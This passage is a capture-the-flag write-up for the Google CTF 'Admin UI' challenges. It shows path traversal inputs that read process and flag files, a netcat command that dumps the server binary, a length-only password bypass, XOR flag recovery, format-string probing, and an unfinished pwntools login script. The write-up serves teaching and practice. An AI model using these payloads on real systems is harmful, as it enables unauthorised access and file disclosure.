<p>Also note that we need to know the <a href="https://en.wikipedia.org/wiki/Process_identifier">pid</a> of the service. Thankfully for us, instead of using a <code class="language-plaintext highlighter-rouge">pid</code> we can just enter <a href="https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for">self</a> which should provide us the currently running binary’s <code class="language-plaintext highlighter-rouge">pid</code> without us having to guess.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../../../../../../../proc/self/cmdline
./main
</span></code></pre></div></div>
<p>Great, we can see that the binary is called <code class="language-plaintext highlighter-rouge">main</code>. Knowing this, let’s go ahead and dump the binary onto our local machine with the following command.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"2</span><span class="se">\n</span><span class="s2">../main"</span> | nc mngmnt-iface.ctfcompetition.com 1337 <span class="o">>></span> main.bin
</code></pre></div></div>
<p>Now that we have the binary file on our machine, let’s open it up in IDA and see if we can’t find the password for the service access.</p>
<p>Once the binary is loaded, press <code class="language-plaintext highlighter-rouge">Shift+F12</code> in IDA to open the <code class="language-plaintext highlighter-rouge">strings window</code> and let’s find the “<strong>Please enter the backdoo^Wservice password:</strong>” string.</p>
<p align="center"><a href="/images/gctf18-pwn-3.png"><img src="/images/gctf18-pwn-3.png" /></a></p>
<p>Once we find the string, double click it, and in the <code class="language-plaintext highlighter-rouge">.rodata</code> section press <code class="language-plaintext highlighter-rouge">x</code> to get the cross reference for where this string is being called from.</p>
<p>If done properly, you should see the following:</p>
<p align="center"><a href="/images/gctf18-pwn-4.png"><img src="/images/gctf18-pwn-4.png" /></a></p>
<p>Right away I notice that after the string is called via the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_puts.htm">puts</a> function, the <a href="https://www.aldeid.com/wiki/X86-assembly/Instructions/lea">lea</a> or “load effective address” instruction is called to load the <code class="language-plaintext highlighter-rouge">_ZL9FLAG_FILE</code> into the <code class="language-plaintext highlighter-rouge">rdi</code> or the Destination Index register.</p>
<p>Okay, this is simple. It seems that the application loads the flag from a file on the disk and uses that as the first password. Since the flag is loaded from disk, let’s see if we can’t read the flag using our path traversal vulnerability.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../flag
CTF{I_luv_buggy_sOFtware}
</span></code></pre></div></div>
<p>Easy, we found the flag!</p>
<p><strong>FLAG:</strong> CTF{I_luv_buggy_sOFtware}</p>
<h2 id="admin-ui-2">Admin UI 2</h2>
<p align="center"><a href="/images/gctf18-pwn-5.png"><img src="/images/gctf18-pwn-5.png" /></a></p>
<p>This portion of the challenge is the continuation from Admin UI. Upon reading the description we learn that the first flag we got was a dud, but there seems to be a password somewhere in the binary file. Reversing the binary should give us the access we need.</p>
<p>Aright, so as always, let’s test the binary to see what happens after we enter the password. This should give us the baseline of what to look for in the binary once we start reverse engineering it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
admin
Access denied
</span></code></pre></div></div>
<p>We can clearly see that the first password worked, but then we needed a second password for <a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">2FA</a>. Knowing this, let’s dig back into the binary and return to where we previously found the flag file.</p>
<p align="center"><a href="/images/gctf18-pwn-6.png"><img src="/images/gctf18-pwn-6.png" /></a></p>
<p>We need to find where the second login occurs. Successful authentication via the fist password would take the flow pointed out by the green arrow. So let’s scroll down the graph, you should then be able to spot the secondary login function.</p>
<p align="center"><a href="/images/gctf18-pwn-7.png"><img src="/images/gctf18-pwn-7.png" /></a></p>
<p>From here, double click the <code class="language-plaintext highlighter-rouge">_Z15secondary_loginv</code> function. This will jump us over to that functions Graph View.</p>
<p align="center"><a href="/images/gctf18-pwn-8.png"><img src="/images/gctf18-pwn-8.png" /></a></p>
<p>Alright looking into the secondary password function, we can see that the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_scanf.htm">scanf</a> function is called which accepts 128 bytes of data - hence <code class="language-plaintext highlighter-rouge">%127s</code>. This <code class="language-plaintext highlighter-rouge">scanf</code> function grabs our password input and stores it in a variable called <code class="language-plaintext highlighter-rouge">password</code>.</p>
<p>It then creates a new variable and assigns it the length of the entered password via the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_strlen.htm">strlen</a> function.</p>
<p>The C code for this section would look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="kt">size_t</span> <span class="n">l</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Two factor authentication required !"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Please enter secret secondary password:"</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%127s"</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
</code></pre></div></div>
<p>Okay, so it accepts are password input, but what does it do with our password? Looking a little lower in the Graph View, we see the following.</p>
<p align="center"><a href="/images/gctf18-pwn-9.png"><img src="/images/gctf18-pwn-9.png" /></a></p>
<p>We can see that variables are set up for a loop function, hence the <code class="language-plaintext highlighter-rouge">cmp</code> instruction at the top checking if the loop is completed. If the loop is done, it jumps to <code class="language-plaintext highlighter-rouge">loc_414144D6</code>.</p>
<p>If the loop is not done, it does the following. The application loads the password input via the <code class="language-plaintext highlighter-rouge">lea</code> or “load effective address” instruction, grabs a character from the password via the index specified by the <code class="language-plaintext highlighter-rouge">rax</code> register which is loaded from the counter <code class="language-plaintext highlighter-rouge">[rbp+i]</code> by the <code class="language-plaintext highlighter-rouge">mov</code> instruction.</p>
<p>This character from the password is then <a href="https://en.wikipedia.org/wiki/Exclusive_or">xored</a> by the hexadecimal <code class="language-plaintext highlighter-rouge">C7</code>. Once xored, the xored character replaces the previous character at the specified index. The <a href="https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic">add</a> instruction then increments the loop counter at <code class="language-plaintext highlighter-rouge">[rbp+i]</code> and jumps to <code class="language-plaintext highlighter-rouge">loc_4141449F</code> which then runs the <code class="language-plaintext highlighter-rouge">cmp</code> instruction to see if the loop as finished.</p>
<p>To help you visualize what’s going on in C, we’ll be adding on to the previous code we built. The for loop and xor should look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="kt">size_t</span> <span class="n">l</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Two factor authentication required !"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Please enter secret secondary password:"</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%127s"</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">l</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
<span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="mh">0xC7u</span><span class="p">;</span>
</code></pre></div></div>
<p>Once the loop is completed the code jumps over to <code class="language-plaintext highlighter-rouge">loc_414144D6</code> which carries out a <code class="language-plaintext highlighter-rouge">cmp</code> instruction.</p>
<p align="center"><a href="/images/gctf18-pwn-10.png"><img src="/images/gctf18-pwn-10.png" /></a></p>
<p>Now, before we go any further, take a really good look at this! Notice how after the XOR operation completes, there is specifically one compare operation that takes place.</p>
<p>This is a bug, the <code class="language-plaintext highlighter-rouge">cmp</code> instruction basically just checks if the password length in <code class="language-plaintext highlighter-rouge">[rbp+l]</code> is equal to <code class="language-plaintext highlighter-rouge">23h</code> or <code class="language-plaintext highlighter-rouge">35</code> in decimal!</p>
<p>That means, that any password that’s 35 bytes long will work and pass the authorization check!</p>
<p>Let’s test this theory!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>perl <span class="nt">-e</span> <span class="s1">'print "A"x35'</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authenticated
</span><span class="gp">></span><span class="w">
</span></code></pre></div></div>
<p>Hurrah, we found an authorization bypass! This is great… but we need to find the flag. Let’s look back into the binary where we left off.</p>
<p align="center"><a href="/images/gctf18-pwn-11.png"><img src="/images/gctf18-pwn-11.png" /></a></p>
<p>Notice that the compare function is comparing our xored password with <code class="language-plaintext highlighter-rouge">_ZL4FLAG</code>, which is our flag! Even though it’s only checking the length, we want to extract the flag.</p>
<p>So before we go and extract the flag, let’s see how the C code for this part of the application will look like. It should look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="n">v0</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="kt">size_t</span> <span class="n">l</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Two factor authentication required !"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Please enter secret secondary password:"</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%127s"</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">l</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
<span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="mh">0xC7u</span>
<span class="n">v0</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">l</span> <span class="o">==</span> <span class="mi">35</span><span class="p">)</span>
<span class="p">{</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">password</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">FLAG</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">password</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">password</span><span class="p">[</span><span class="mi">24</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">24</span><span class="p">];</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">password</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="n">password</span><span class="p">[</span><span class="mi">34</span><span class="p">]</span> <span class="o">=</span> <span class="n">FLAG</span><span class="p">[</span><span class="mi">34</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="n">password</span><span class="p">)</span>
<span class="n">v0</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">v0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Access denied."</span><span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Authenticated"</span><span class="p">);</span>
</code></pre></div></div>
<p>Great, knowing that, let’s xor our first flag with hex <code class="language-plaintext highlighter-rouge">C7</code> to get the second flag. We can extract the bytes used for xoring by just searching the Hex View for the flag file.</p>
<p align="center"><a href="/images/gctf18-pwn-12.png"><img src="/images/gctf18-pwn-12.png" /></a></p>
<p>We can then write a simple Python program that will do all the work for us and print our xored flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">flag</span> <span class="o">=</span> <span class="s">"""
84 93 81 BC 93 B0 A8 98 97 A6 B4 94 B0 A8 B5 83
BD 98 85 A2 B3 B3 A2 B5 98 B3 AF F3 A9 98 F6 98
AC F8 BA
"""</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">flag</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">" "</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">))</span>
<span class="n">output</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">:</span>
<span class="n">output</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">ch</span> <span class="o">^</span> <span class="mh">0xC7</span><span class="p">)</span>
<span class="k">print</span> <span class="n">output</span>
</code></pre></div></div>
<p>Executing the script should give us the following output.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>python xor.py
<span class="go">CTF{Two_PasSworDz_Better_th4n_1_k?}
</span></code></pre></div></div>
<p>Awesome, so it seems we got our second flag! Let’s just test this and make sure that it works!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
CTF{Two_PasSworDz_Better_th4n_1_k?}
Authenticated
</span><span class="gp">></span><span class="w">
</span></code></pre></div></div>
<p>It works, that’s the correct flag!</p>
<p><strong>FLAG:</strong> CTF{Two_PasSworDz_Better_th4n_1_k?}</p>
<h2 id="admin-ui-3">Admin UI 3</h2>
<p align="center"><a href="/images/gctf18-pwn-13.png"><img src="/images/gctf18-pwn-13.png" /></a></p>
<p>Upon reading the challenge description we learn that the code quality for this application is horrible and that the Q/A is just bad all around. We also learn that they choose to measure their temperature in “Kevins” rather then “Kelvins”. One thing that really stands out to us is the following comment that we can bet that “<strong>they can’t handle their memory properly</strong>”, which hints of a memory corruption issue.</p>
<p>Okay, so let’s see if we can’t find a <a href="https://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a> or something in the application once authenticated.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
CTF{Two_PasSworDz_Better_th4n_1_k?}
Authenticated
</span><span class="gp">></span><span class="w"> </span><span class="nb">ls</span>
<span class="go">Unknown command 'ls'
</span><span class="gp">></span><span class="w"> </span><span class="nb">id</span>
<span class="go">Unknown command 'id'
</span><span class="gp">></span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">Unknown command 'whoami'
</span></code></pre></div></div>
<p>Hmm… nothing seems to work. Let’s look back into the binary via IDA and see if we can’t find any commands that can help us.</p>
<p>Once back in IDA let’s look for the string “<strong>Authenticated</strong>” and follow the cross references. We should then be presented with the following.</p>
<p align="center"><a href="/images/gctf18-pwn-14.png"><img src="/images/gctf18-pwn-14.png" /></a></p>
<p>Let’s double click on the <code class="language-plaintext highlighter-rouge">_Z12command_linev</code> call to see it’s graph view.</p>
<p align="center"><a href="/images/gctf18-pwn-15.png"><img src="/images/gctf18-pwn-15.png" /></a></p>
<p>Right from the start we can spot two commands that we can run: <code class="language-plaintext highlighter-rouge">quit</code> and <code class="language-plaintext highlighter-rouge">version</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>version
<span class="go">Version 0.3
</span><span class="gp">></span><span class="w"> </span>quit
<span class="go">Bye!
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
</span></code></pre></div></div>
<p>But these don’t provide us with much… so let’s look deeper into the graph and see what else we can find.</p>
<p align="center"><a href="/images/gctf18-pwn-16.png"><img src="/images/gctf18-pwn-16.png" /></a></p>
<p>Right below the <code class="language-plaintext highlighter-rouge">version</code> command we spot three more commands: <code class="language-plaintext highlighter-rouge">shell</code>, <code class="language-plaintext highlighter-rouge">echo</code> and <code class="language-plaintext highlighter-rouge">debug</code>. All of these are very interesting, especially the <code class="language-plaintext highlighter-rouge">shell</code> command. Let’s see what they do.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>shell
<span class="go">Security made us disable the shell, sorry!
</span><span class="gp">></span><span class="w"> </span><span class="nb">echo test</span>
<span class="go">test
</span><span class="gp">></span><span class="w"> </span>debug
<span class="go">Debug data dump:
</span><span class="gp"> pid=1 cmds executed=0x41616134-></span>2 Mappings:
<span class="go">00400000-00401000 r-xp 00000000 08:01 534875 /home/user/main
41414000-41415000 r-xp 00014000 08:01 534875 /home/user/main
41615000-41616000 r--p 00015000 08:01 534875 /home/user/main
41616000-41617000 rw-p 00016000 08:01 534875 /home/user/main
42748000-4277a000 rw-p 00000000 00:00 0 [heap]
7f6cddba3000-7f6cddd63000 r-xp 00000000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f6cddd63000-7f6cddf63000 ---p 001c0000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f6cddf63000-7f6cddf67000 r--p 001c0000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f6cddf67000-7f6cddf69000 rw-p 001c4000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f6cddf69000-7f6cddf6d000 rw-p 00000000 00:00 0
7f6cddf6d000-7f6cddf83000 r-xp 00000000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6cddf83000-7f6cde182000 ---p 00016000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6cde182000-7f6cde183000 rw-p 00015000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6cde183000-7f6cde28b000 r-xp 00000000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f6cde28b000-7f6cde48a000 ---p 00108000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f6cde48a000-7f6cde48b000 r--p 00107000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f6cde48b000-7f6cde48c000 rw-p 00108000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f6cde48c000-7f6cde5fe000 r-xp 00000000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f6cde5fe000-7f6cde7fe000 ---p 00172000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f6cde7fe000-7f6cde808000 r--p 00172000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f6cde808000-7f6cde80a000 rw-p 0017c000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f6cde80a000-7f6cde80e000 rw-p 00000000 00:00 0
7f6cde80e000-7f6cde834000 r-xp 00000000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f6cdea2b000-7f6cdea31000 rw-p 00000000 00:00 0
7f6cdea33000-7f6cdea34000 r--p 00025000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f6cdea34000-7f6cdea35000 rw-p 00026000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f6cdea35000-7f6cdea36000 rw-p 00000000 00:00 0
7fff3f482000-7fff3f4a3000 rw-p 00000000 00:00 0 [stack]
7fff3f59b000-7fff3f59e000 r--p 00000000 00:00 0 [vvar]
7fff3f59e000-7fff3f5a0000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
</span><span class="gp">></span><span class="w">
</span></code></pre></div></div>
<p>Okay so it seems that the <code class="language-plaintext highlighter-rouge">shell</code> functionality is disabled… what a shame! But on the other hand <code class="language-plaintext highlighter-rouge">debug</code> give us some memory leaks and addresses that we can use to our advantage.</p>
<p>I want to see if we can enable the <code class="language-plaintext highlighter-rouge">shell</code> command somehow. So let’s follow the <code class="language-plaintext highlighter-rouge">shell</code> command in IDA to see what it does and why it’s disabled.</p>
<p align="center"><a href="/images/gctf18-pwn-17.png"><img src="/images/gctf18-pwn-17.png" /></a></p>
<p>Looking into this, it seems that the <code class="language-plaintext highlighter-rouge">_ZL13shell_enabled</code> command returns a <code class="language-plaintext highlighter-rouge">0</code>, or false which in turn leads to the “<strong>Security made us disable the shell…</strong>” comment.</p>
<p>But we can also see that if this command returned <code class="language-plaintext highlighter-rouge">True</code> then that would trigger the <code class="language-plaintext highlighter-rouge">_Z11debug_shellv</code> command, which in turn should give us a debug shell on the system.</p>
<p>So the question is, where and how can we enable this? Is there a buffer overflow that we can exploit to call this command?</p>
<p>Well before we start hunting for buffer overflows and memory corruption issues, let’s first see if the binary is using any mitigation that might impact our work. For this we will use a tool called <a href="https://github.com/slimm609/checksec.sh">checksec</a>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>checksec main.bin
<span class="go">[*] '/root/Google-CTF/Admin UI/main.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
</span></code></pre></div></div>
<p>Unfortunately for us the <a href="https://en.wikipedia.org/wiki/NX_bit">NX</a> is enabled, which prevents us from executing code from the stack but at the same time <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> isn’t enabled. This means that the addresses we see in memory should relate back and be the same as on the other system.</p>
<p>So let’s take a look and see what address the <code class="language-plaintext highlighter-rouge">_ZL13shell_enabled</code> function is located at.</p>
<p align="center"><a href="/images/gctf18-pwn-18.png"><img src="/images/gctf18-pwn-18.png" /></a></p>
<p>Looking at this, if we can somehow set the variable at address <code class="language-plaintext highlighter-rouge">41616138</code> to <code class="language-plaintext highlighter-rouge">1</code> then we can get into the shell… but how?</p>
<p>Well, there’s actually a way we can do that! Let’s take a look back at the <a href="http://linuxcommand.org/lc3_man_pages/echoh.html">echo</a> function in IDA.</p>
<p align="center"><a href="/images/gctf18-pwn-19.png"><img src="/images/gctf18-pwn-19.png" /></a></p>
<p>Notice that the <code class="language-plaintext highlighter-rouge">echo</code> function in the application calls the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_printf.htm">printf</a> function against our input. There doesn’t seem to be any input sanitization occurring, which should allow us to carry out a <a href="https://www.owasp.org/index.php/Format_string_attack">format string attack</a>.</p>
<p>Let’s test this theory!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
CTF{Two_PasSworDz_Better_th4n_1_k?}
Authenticated
</span><span class="gp">></span><span class="w"> </span><span class="nb">echo</span> %d %d %d %d
<span class="go">1094798019 4 3 -702671040
</span><span class="gp">></span><span class="w"> </span><span class="nb">echo</span> %x %x %x %x
<span class="go">41414ac3 4 3 d61e1740
</span></code></pre></div></div>
<p>Awesome! So the echo function is in fact vulnerable to a format string attack!</p>
<p>What we can do from here is build a simple Python script that’ll log into the server, pass some data into echo and then will recursively execute the <code class="language-plaintext highlighter-rouge">%x</code> format string which will return data as unsigned hexadecimal integers.</p>
<p>The reason we do this is because we want to learn where our argument is being stored in memory. In this case I pass <code class="language-plaintext highlighter-rouge">AAAABBBB</code> before the format string buffer. This is done because once the data is returned, if these characters were stored in memory then we should see their hexadecimal representations of <code class="language-plaintext highlighter-rouge">4141414142424242</code>.</p>
<p>From there, once we know where our echo argument is stored, we can simply enter the memory address of the <code class="language-plaintext highlighter-rouge">_ZL13shell_enabled</code> function and use the <a href="https://www.geeksforgeeks.org/g-fact-31/">%n</a> format string to write to that memory address, thus enabling the shell.</p>
<p>The code that we will use can be seen below:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python2
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'mngmnt-iface.ctfcompetition.com'</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"3) Quit"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"1</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"1"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"password"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{I_luv_buggy_sOFtware}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"CTF{I_luv_buggy_sOFtware}"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"password"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"CTF{Two_PasSworDz_Better_th4n_1_k?}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"CTF{Two_PasSworDz_Better_th4n_1_k?}"</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Authenticated"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">">"</span><span class="p">)</span>
